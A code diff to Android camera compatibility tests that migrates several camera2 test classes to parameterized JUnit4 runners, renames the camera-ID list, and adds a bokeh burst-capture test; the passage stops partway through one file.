diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index b9fc256..fb78a90 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -2721,10 +2721,12 @@
             goto cleanup;
         }
 
+        StaticInfo staticInfo(chars);
         ACameraMetadata_const_entry sessionParamKeys{};
         ret = ACameraMetadata_getConstEntry(chars, ACAMERA_REQUEST_AVAILABLE_SESSION_KEYS,
                 &sessionParamKeys);
-        if ((ret != ACAMERA_OK) || (sessionParamKeys.count == 0)) {
+        if ((ret != ACAMERA_OK) || (sessionParamKeys.count == 0) ||
+                !staticInfo.isColorOutputSupported()) {
             ACameraMetadata_free(chars);
             chars = nullptr;
             continue;
@@ -3420,6 +3422,8 @@
             goto exit;
         }
 
+        usleep(100000); // sleep to give some time for callbacks to happen
+
         if (testCase.isCameraAvailable(cameraId)) {
             LOG_ERROR(errorString, "Camera %s should be unavailable now", cameraId);
             goto exit;
diff --git a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
index 92b171a..776879d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
@@ -21,10 +21,13 @@
 import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
 import static android.hardware.camera2.cts.CameraTestUtils.*;
 import static com.android.ex.camera2.blocking.BlockingStateCallback.*;
+import static junit.framework.Assert.*;
 
 import android.content.Context;
 import android.graphics.ImageFormat;
 import android.graphics.RectF;
+
+import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
 import android.hardware.camera2.CameraAccessException;
 import android.hardware.camera2.CameraCaptureSession;
 import android.hardware.camera2.CameraCharacteristics;
@@ -50,11 +53,12 @@
 import android.os.HandlerThread;
 import android.renderscript.Allocation;
 import android.renderscript.Script.LaunchOptions;
-import android.test.AndroidTestCase;
 import android.util.Log;
 import android.util.Rational;
 import android.view.Surface;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.ex.camera2.blocking.BlockingCameraManager.BlockingOpenException;
 import com.android.ex.camera2.blocking.BlockingStateCallback;
 import com.android.ex.camera2.blocking.BlockingSessionCallback;
@@ -63,6 +67,10 @@
 import java.util.Arrays;
 import java.util.List;
 
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.Test;
+
 /**
  * Suite of tests for camera2 -> RenderScript APIs.
  *
@@ -71,17 +79,17 @@
  *
  * <p>YUV_420_888: flexible YUV420, it is a mandatory format for camera.</p>
  */
-public class AllocationTest extends AndroidTestCase {
+
+@RunWith(Parameterized.class)
+public class AllocationTest extends Camera2ParameterizedTestCase {
     private static final String TAG = "AllocationTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
 
-    private CameraManager mCameraManager;
     private CameraDevice mCamera;
     private CameraCaptureSession mSession;
     private BlockingStateCallback mCameraListener;
     private BlockingSessionCallback mSessionListener;
 
-    private String[] mCameraIds;
 
     private Handler mHandler;
     private HandlerThread mHandlerThread;
@@ -91,16 +99,8 @@
     private ResultIterable mResultIterable;
 
     @Override
-    public synchronized void setContext(Context context) {
-        super.setContext(context);
-        mCameraManager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
-        assertNotNull("Can't connect to camera manager!", mCameraManager);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
-        mCameraIds = mCameraManager.getCameraIdList();
         mHandlerThread = new HandlerThread("AllocationTest");
         mHandlerThread.start();
         mHandler = new Handler(mHandlerThread.getLooper());
@@ -110,11 +110,11 @@
         mSizeIterable = new SizeIterable();
         mResultIterable = new ResultIterable();
 
-        RenderScriptSingleton.setContext(getContext());
+        RenderScriptSingleton.setContext(mContext);
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         MaybeNull.close(mCamera);
         RenderScriptSingleton.clearContext();
         mHandlerThread.quitSafely();
@@ -475,6 +475,7 @@
         if (VERBOSE) Log.v(TAG, "validating Buffer , size = " + actualSize);
     }
 
+    @Test
     public void testAllocationFromCameraFlexibleYuv() throws Exception {
 
         /** number of frame (for streaming requests) to be verified. */
@@ -516,7 +517,7 @@
                             if (VERBOSE) Log.v(TAG, "Cleanup Renderscript cache");
                             scriptGraph.close();
                             RenderScriptSingleton.clearContext();
-                            RenderScriptSingleton.setContext(getContext());
+                            RenderScriptSingleton.setContext(mContext);
                         }
                     }
                 });
@@ -533,6 +534,7 @@
      *
      * @throws Exception
      */
+    @Test
     public void testBlackWhite() throws CameraAccessException {
 
         /** low iso + low exposure (first shot) */
@@ -610,6 +612,7 @@
     /**
      * Test that the android.sensitivity.parameter is applied.
      */
+    @Test
     public void testParamSensitivity() throws CameraAccessException {
         final float THRESHOLD_MAX_MIN_DIFF = 0.3f;
         final float THRESHOLD_MAX_MIN_RATIO = 2.0f;
@@ -761,33 +764,33 @@
         public void forEachCamera(boolean fullHwLevel, CameraBlock runnable)
                 throws CameraAccessException {
             assertNotNull("No camera manager", mCameraManager);
-            assertNotNull("No camera IDs", mCameraIds);
+            assertNotNull("No camera IDs", mCameraIdsUnderTest);
 
-            for (int i = 0; i < mCameraIds.length; i++) {
+            for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
                 // Don't execute the runnable against non-FULL cameras if FULL is required
                 CameraCharacteristics properties =
-                        mCameraManager.getCameraCharacteristics(mCameraIds[i]);
+                        mCameraManager.getCameraCharacteristics(mCameraIdsUnderTest[i]);
                 StaticMetadata staticInfo = new StaticMetadata(properties);
                 if (fullHwLevel && !staticInfo.isHardwareLevelAtLeastFull()) {
                     Log.i(TAG, String.format(
                             "Skipping this test for camera %s, needs FULL hw level",
-                            mCameraIds[i]));
+                            mCameraIdsUnderTest[i]));
                     continue;
                 }
                 if (!staticInfo.isColorOutputSupported()) {
                     Log.i(TAG, String.format(
                         "Skipping this test for camera %s, does not support regular outputs",
-                        mCameraIds[i]));
+                        mCameraIdsUnderTest[i]));
                     continue;
                 }
                 // Open camera and execute test
-                Log.i(TAG, "Testing Camera " + mCameraIds[i]);
+                Log.i(TAG, "Testing Camera " + mCameraIdsUnderTest[i]);
                 try {
-                    openDevice(mCameraIds[i]);
+                    openDevice(mCameraIdsUnderTest[i]);
 
                     runnable.run(mCamera);
                 } finally {
-                    closeDevice(mCameraIds[i]);
+                    closeDevice(mCameraIdsUnderTest[i]);
                 }
             }
         }
diff --git a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureRawTest.java b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureRawTest.java
index 7b23abf..afff41b 100644
--- a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureRawTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureRawTest.java
@@ -37,11 +37,14 @@
 
 import java.util.ArrayList;
 
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
 import org.junit.Test;
 
 /**
  * Basic tests for burst capture in RAW formats.
  */
+@RunWith(Parameterized.class)
 public class BurstCaptureRawTest extends Camera2SurfaceViewTestCase {
     private static final String TAG = "BurstCaptureRawTest";
     private static final int RAW_FORMATS[] = {
@@ -71,7 +74,7 @@
     @Test
     public void testRawSensorSize() throws Exception {
         Log.i(TAG, "Begin testRawSensorSize");
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 ArrayList<Integer> supportedRawList = new ArrayList<Integer>(RAW_FORMATS.length);
                 if (!checkCapability(id, supportedRawList, RAW_FORMATS)) {
@@ -675,7 +678,7 @@
     private void performTestRoutine(TestRoutine routine, int[] testedFormats) throws Exception
     {
         final int PREPARE_TIMEOUT_MS = 10000;
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 ArrayList<Integer> supportedRawList = new ArrayList<Integer>(RAW_FORMATS.length);
                 if (!checkCapability(id, supportedRawList, testedFormats)) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
index 03dbdeb..6616942 100644
--- a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
@@ -23,8 +23,10 @@
 import android.hardware.camera2.CaptureRequest;
 import android.hardware.camera2.CaptureResult;
 import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraMetadata;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
+import android.hardware.camera2.params.CapabilityAndMaxSize;
 import android.hardware.camera2.params.StreamConfigurationMap;
 import android.media.Image;
 import android.util.Log;
@@ -34,8 +36,11 @@
 import java.util.List;
 import java.util.ArrayList;
 
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
 import org.junit.Test;
 
+@RunWith(Parameterized.class)
 public class BurstCaptureTest extends Camera2SurfaceViewTestCase {
     private static final String TAG = "BurstCaptureTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -48,7 +53,8 @@
     @Test
     public void testYuvBurst() throws Exception {
         final int YUV_BURST_SIZE = 100;
-        testBurst(ImageFormat.YUV_420_888, YUV_BURST_SIZE, true/*checkFrameRate*/);
+        testBurst(ImageFormat.YUV_420_888, YUV_BURST_SIZE, true/*checkFrameRate*/,
+                false/*testBokehMode*/);
     }
 
     /**
@@ -61,13 +67,26 @@
     @Test
     public void testJpegBurst() throws Exception {
         final int JPEG_BURST_SIZE = 10;
-        testBurst(ImageFormat.JPEG, JPEG_BURST_SIZE, false/*checkFrameRate*/);
+        testBurst(ImageFormat.JPEG, JPEG_BURST_SIZE, false/*checkFrameRate*/,
+                false/*testBokehMode*/);
     }
 
-    private void testBurst(int fmt, int burstSize, boolean checkFrameRate) throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+    /**
+     * Test YUV burst capture with full-AUTO control and STILL_CAPTURE bokeh mode.
+     * Also verifies sensor settings operation if READ_SENSOR_SETTINGS is available.
+     */
+    @Test
+    public void testYuvBurstWithStillBokeh() throws Exception {
+        final int YUV_BURST_SIZE = 100;
+        testBurst(ImageFormat.YUV_420_888, YUV_BURST_SIZE, true/*checkFrameRate*/,
+                true/*testStillBokeh*/);
+    }
+
+    private void testBurst(int fmt, int burstSize, boolean checkFrameRate, boolean testStillBokeh)
+            throws Exception {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                String id = mCameraIds[i];
+                String id = mCameraIdsUnderTest[i];
 
                 StaticMetadata staticInfo = mAllStaticInfo.get(id);
                 if (!staticInfo.isColorOutputSupported()) {
@@ -85,8 +104,21 @@
                     continue;
                 }
 
+                CapabilityAndMaxSize[] bokehCaps = staticInfo.getAvailableBokehCapsChecked();
+                boolean supportStillBokeh = false;
+                for (CapabilityAndMaxSize bokehCap : bokehCaps) {
+                    if (bokehCap.getMode() == CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE) {
+                        supportStillBokeh = true;
+                        break;
+                    }
+                }
+                if (testStillBokeh && !supportStillBokeh) {
+                    Log.v(TAG, "Device doesn't support STILL_CAPTURE bokeh. Skip the test");
+                    continue;
+                }
+
                 openDevice(id);
-                burstTestByCamera(id, fmt, burstSize, checkFrameRate);
+                burstTestByCamera(id, fmt, burstSize, checkFrameRate, testStillBokeh);
             } finally {
                 closeDevice();
                 closeImageReader();
@@ -95,7 +127,7 @@
     }
 
     private void burstTestByCamera(String cameraId, int fmt, int burstSize,
-            boolean checkFrameRate) throws Exception {
+            boolean checkFrameRate, boolean testStillBokeh) throws Exception {
         // Parameters
         final int MAX_CONVERGENCE_FRAMES = 150; // 5 sec at 30fps
         final long MAX_PREVIEW_RESULT_TIMEOUT_MS = 2000;
@@ -147,6 +179,12 @@
                 targetRange);
         burstBuilder.set(CaptureRequest.CONTROL_AE_LOCK, true);
         burstBuilder.set(CaptureRequest.CONTROL_AWB_LOCK, true);
+        if (testStillBokeh) {
+            previewBuilder.set(CaptureRequest.CONTROL_BOKEH_MODE,
+                    CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE);
+            burstBuilder.set(CaptureRequest.CONTROL_BOKEH_MODE,
+                    CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE);
+        }
 
         // Create session and start up preview
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java b/tests/camera/src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java
index 4bd6186..ab2f842 100644
--- a/tests/camera/src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java
+++ b/tests/camera/src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java
@@ -82,7 +82,7 @@
                         return true;
                     } else {
                         Log.i(TAG, "Wait for surface changed to " + expectWidth + "x" +
-                                "expectHeight. Got " + currentWidth + "x" + currentHeight +
+                                expectHeight + ". Got " + currentWidth + "x" + currentHeight +
                                 ". Keep waiting");
                     }
                 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index a64cd50..73e3828 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -67,6 +67,9 @@
 import java.util.Set;
 import android.util.Size;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 import org.mockito.ArgumentMatcher;
 
 import java.util.concurrent.Executor;
@@ -76,6 +79,8 @@
 /**
  * <p>Basic test for CameraDevice APIs.</p>
  */
+
+@RunWith(Parameterized.class)
 public class CameraDeviceTest extends Camera2AndroidTestCase {
     private static final String TAG = "CameraDeviceTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -114,16 +119,15 @@
     }
 
     @Override
-    public void setContext(Context context) {
-        super.setContext(context);
-
+    public void setUp() throws Exception {
+        super.setUp();
         /**
          * Workaround for mockito and JB-MR2 incompatibility
          *
          * Avoid java.lang.IllegalArgumentException: dexcache == null
          * https://code.google.com/p/dexmaker/issues/detail?id=2
          */
-        System.setProperty("dexmaker.dexcache", getContext().getCacheDir().toString());
+        System.setProperty("dexmaker.dexcache", mContext.getCacheDir().toString());
 
         /**
          * Create error listener in context scope, to catch asynchronous device error.
@@ -131,11 +135,6 @@
          * implementation (spy doesn't stub the functions unless we ask it to do so).
          */
         mCameraMockListener = spy(new BlockingStateCallback());
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
         /**
          * Due to the asynchronous nature of camera device error callback, we
          * have to make sure device doesn't run into error state before. If so,
@@ -154,7 +153,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         super.tearDown();
     }
 
@@ -176,9 +175,10 @@
      * settings.</li>
      * </ul>
      */
+    @Test
     public void testCameraDevicePreviewTemplate() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
-            captureTemplateTestByCamera(mCameraIds[i], CameraDevice.TEMPLATE_PREVIEW);
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+            captureTemplateTestByCamera(mCameraIdsUnderTest[i], CameraDevice.TEMPLATE_PREVIEW);
         }
 
         // TODO: test the frame rate sustainability in preview use case test.
@@ -202,9 +202,10 @@
      * frame rate for the given settings.</li>
      * </ul>
      */
+    @Test
     public void testCameraDeviceStillTemplate() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
-            captureTemplateTestByCamera(mCameraIds[i], CameraDevice.TEMPLATE_STILL_CAPTURE);
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+            captureTemplateTestByCamera(mCameraIdsUnderTest[i], CameraDevice.TEMPLATE_STILL_CAPTURE);
         }
     }
 
@@ -222,9 +223,10 @@
      * <li>Frame rate should be stable, for example, wide fps range like [7, 30]
      * is a bad setting.</li>
      */
+    @Test
     public void testCameraDeviceRecordingTemplate() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
-            captureTemplateTestByCamera(mCameraIds[i], CameraDevice.TEMPLATE_RECORD);
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+            captureTemplateTestByCamera(mCameraIdsUnderTest[i], CameraDevice.TEMPLATE_RECORD);
         }
 
         // TODO: test the frame rate sustainability in recording use case test.
@@ -238,9 +240,10 @@
      * as recording, with an additional requirement: the settings should maximize image quality
      * without compromising stable frame rate.</p>
      */
+    @Test
     public void testCameraDeviceVideoSnapShotTemplate() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
-            captureTemplateTestByCamera(mCameraIds[i], CameraDevice.TEMPLATE_VIDEO_SNAPSHOT);
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+            captureTemplateTestByCamera(mCameraIdsUnderTest[i], CameraDevice.TEMPLATE_VIDEO_SNAPSHOT);
         }
 
         // TODO: test the frame rate sustainability in video snapshot use case test.
@@ -253,9 +256,10 @@
      * metadata keys, and their values must be set correctly. It has the similar requirement
      * as preview, with an additional requirement: </p>
      */
+    @Test
     public void testCameraDeviceZSLTemplate() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
-            captureTemplateTestByCamera(mCameraIds[i], CameraDevice.TEMPLATE_ZERO_SHUTTER_LAG);
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+            captureTemplateTestByCamera(mCameraIdsUnderTest[i], CameraDevice.TEMPLATE_ZERO_SHUTTER_LAG);
         }
     }
 
@@ -276,16 +280,18 @@
      * set to reasonable defaults.</li>
      * </ul>
      */
+    @Test
     public void testCameraDeviceManualTemplate() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
-            captureTemplateTestByCamera(mCameraIds[i], CameraDevice.TEMPLATE_MANUAL);
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+            captureTemplateTestByCamera(mCameraIdsUnderTest[i], CameraDevice.TEMPLATE_MANUAL);
         }
     }
 
+    @Test
     public void testCameraDeviceCreateCaptureBuilder() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                openDevice(mCameraIds[i], mCameraMockListener);
+                openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 /**
                  * Test: that each template type is supported, and that its required fields are
                  * present.
@@ -331,16 +337,17 @@
                 try {
                     closeSession();
                 } finally {
-                    closeDevice(mCameraIds[i], mCameraMockListener);
+                    closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 }
             }
         }
     }
 
+    @Test
     public void testCameraDeviceSetErrorListener() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                openDevice(mCameraIds[i], mCameraMockListener);
+                openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 /**
                  * Test: that the error listener can be set without problems.
                  * Also, wait some time to check if device doesn't run into error.
@@ -355,27 +362,31 @@
                 try {
                     closeSession();
                 } finally {
-                    closeDevice(mCameraIds[i], mCameraMockListener);
+                    closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 }
             }
         }
     }
 
+    @Test
     public void testCameraDeviceCapture() throws Exception {
         runCaptureTest(/*burst*/false, /*repeating*/false, /*abort*/false, /*useExecutor*/false);
         runCaptureTest(/*burst*/false, /*repeating*/false, /*abort*/false, /*useExecutor*/true);
     }
 
+    @Test
     public void testCameraDeviceCaptureBurst() throws Exception {
         runCaptureTest(/*burst*/true, /*repeating*/false, /*abort*/false, /*useExecutor*/false);
         runCaptureTest(/*burst*/true, /*repeating*/false, /*abort*/false, /*useExecutor*/true);
     }
 
+    @Test
     public void testCameraDeviceRepeatingRequest() throws Exception {
         runCaptureTest(/*burst*/false, /*repeating*/true, /*abort*/false, /*useExecutor*/false);
         runCaptureTest(/*burst*/false, /*repeating*/true, /*abort*/false, /*useExecutor*/true);
     }
 
+    @Test
     public void testCameraDeviceRepeatingBurst() throws Exception {
         runCaptureTest(/*burst*/true, /*repeating*/true, /*abort*/false, /*useExecutor*/ false);
         runCaptureTest(/*burst*/true, /*repeating*/true, /*abort*/false, /*useExecutor*/ true);
@@ -389,6 +400,7 @@
      * discarding in-progress work. Once the abort is complete, the idle callback will be called.
      * </p>
      */
+    @Test
     public void testCameraDeviceAbort() throws Exception {
         runCaptureTest(/*burst*/false, /*repeating*/true, /*abort*/true, /*useExecutor*/false);
         runCaptureTest(/*burst*/false, /*repeating*/true, /*abort*/true, /*useExecutor*/true);
@@ -414,10 +426,11 @@
     /**
      * Test invalid capture (e.g. null or empty capture request).
      */
+    @Test
     public void testInvalidCapture() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                openDevice(mCameraIds[i], mCameraMockListener);
+                openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
 
                 prepareCapture();
@@ -427,7 +440,7 @@
                 closeSession();
             }
             finally {
-                closeDevice(mCameraIds[i], mCameraMockListener);
+                closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
             }
         }
     }
@@ -442,6 +455,7 @@
      *  onCaptureCompleted -> createCaptureRequest, getDevice, abortCaptures,
      *     capture, setRepeatingRequest, stopRepeating, session+device.close
      */
+    @Test
     public void testChainedOperation() throws Throwable {
 
         final ArrayList<Surface> outputs = new ArrayList<>();
@@ -585,13 +599,13 @@
 
         // Actual test code
 
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
                 Throwable result;
 
-                if (!(new StaticMetadata(mCameraManager.getCameraCharacteristics(mCameraIds[i]))).
+                if (!(new StaticMetadata(mCameraManager.getCameraCharacteristics(mCameraIdsUnderTest[i]))).
                         isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
@@ -602,7 +616,7 @@
 
                 // Start chained cascade
                 ChainedCameraListener cameraListener = new ChainedCameraListener();
-                mCameraManager.openCamera(mCameraIds[i], cameraListener, mHandler);
+                mCameraManager.openCamera(mCameraIdsUnderTest[i], cameraListener, mHandler);
 
                 // Check if open succeeded
                 result = results.poll(CAMERA_OPEN_TIMEOUT_MS, TimeUnit.MILLISECONDS);
@@ -648,21 +662,22 @@
      * Verify basic semantics and error conditions of the prepare call.
      *
      */
+    @Test
     public void testPrepare() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i], mCameraMockListener);
+                openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
 
                 prepareTestByCamera();
             }
             finally {
-                closeDevice(mCameraIds[i], mCameraMockListener);
+                closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
             }
         }
     }
@@ -671,26 +686,27 @@
      * Verify prepare call behaves properly when sharing surfaces.
      *
      */
+    @Test
     public void testPrepareForSharedSurfaces() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIds[i]);
+                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
                 if (staticInfo.isHardwareLevelLegacy()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] + " is legacy, skipping");
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] + " is legacy, skipping");
                     continue;
                 }
                 if (!staticInfo.isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i], mCameraMockListener);
+                openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
 
                 prepareTestForSharedSurfacesByCamera();
             }
             finally {
-                closeDevice(mCameraIds[i], mCameraMockListener);
+                closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
             }
         }
     }
@@ -698,21 +714,22 @@
     /**
      * Verify creating sessions back to back.
      */
+    @Test
     public void testCreateSessions() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i], mCameraMockListener);
+                openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
 
-                testCreateSessionsByCamera(mCameraIds[i]);
+                testCreateSessionsByCamera(mCameraIdsUnderTest[i]);
             }
             finally {
-                closeDevice(mCameraIds[i], mCameraMockListener);
+                closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
             }
         }
     }
@@ -720,21 +737,22 @@
     /**
      * Verify creating a custom session
      */
+    @Test
     public void testCreateCustomSession() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i], mCameraMockListener);
+                openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
 
-                testCreateCustomSessionByCamera(mCameraIds[i]);
+                testCreateCustomSessionByCamera(mCameraIdsUnderTest[i]);
             }
             finally {
-                closeDevice(mCameraIds[i], mCameraMockListener);
+                closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
             }
         }
     }
@@ -808,6 +826,7 @@
     /**
      * Test session configuration.
      */
+    @Test
     public void testSessionConfiguration() throws Exception {
         ArrayList<OutputConfiguration> outConfigs = new ArrayList<OutputConfiguration> ();
         outConfigs.add(new OutputConfiguration(new Size(1, 1), SurfaceTexture.class));
@@ -856,14 +875,14 @@
         assertEquals("Session configuration input doesn't match",
                 highspeedSessionConfig.getInputConfiguration(), null);
 
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i], mCameraMockListener);
+                openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
 
                 CaptureRequest.Builder builder =
@@ -881,7 +900,7 @@
                         highspeedSessionConfig.getSessionParameters());
             }
             finally {
-                closeDevice(mCameraIds[i], mCameraMockListener);
+                closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
             }
         }
     }
@@ -889,21 +908,22 @@
     /**
      * Check for any state leakage in case of internal re-configure
      */
+    @Test
     public void testSessionParametersStateLeak() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                openDevice(mCameraIds[i], mCameraMockListener);
+                openDevice(mCameraIdsUnderTest[i], mCameraMockListener);
                 waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
 
-                testSessionParametersStateLeakByCamera(mCameraIds[i]);
+                testSessionParametersStateLeakByCamera(mCameraIdsUnderTest[i]);
             }
             finally {
-                closeDevice(mCameraIds[i], mCameraMockListener);
+                closeDevice(mCameraIdsUnderTest[i], mCameraMockListener);
             }
         }
     }
@@ -1059,22 +1079,23 @@
     /**
      * Verify creating a session with additional parameters.
      */
+    @Test
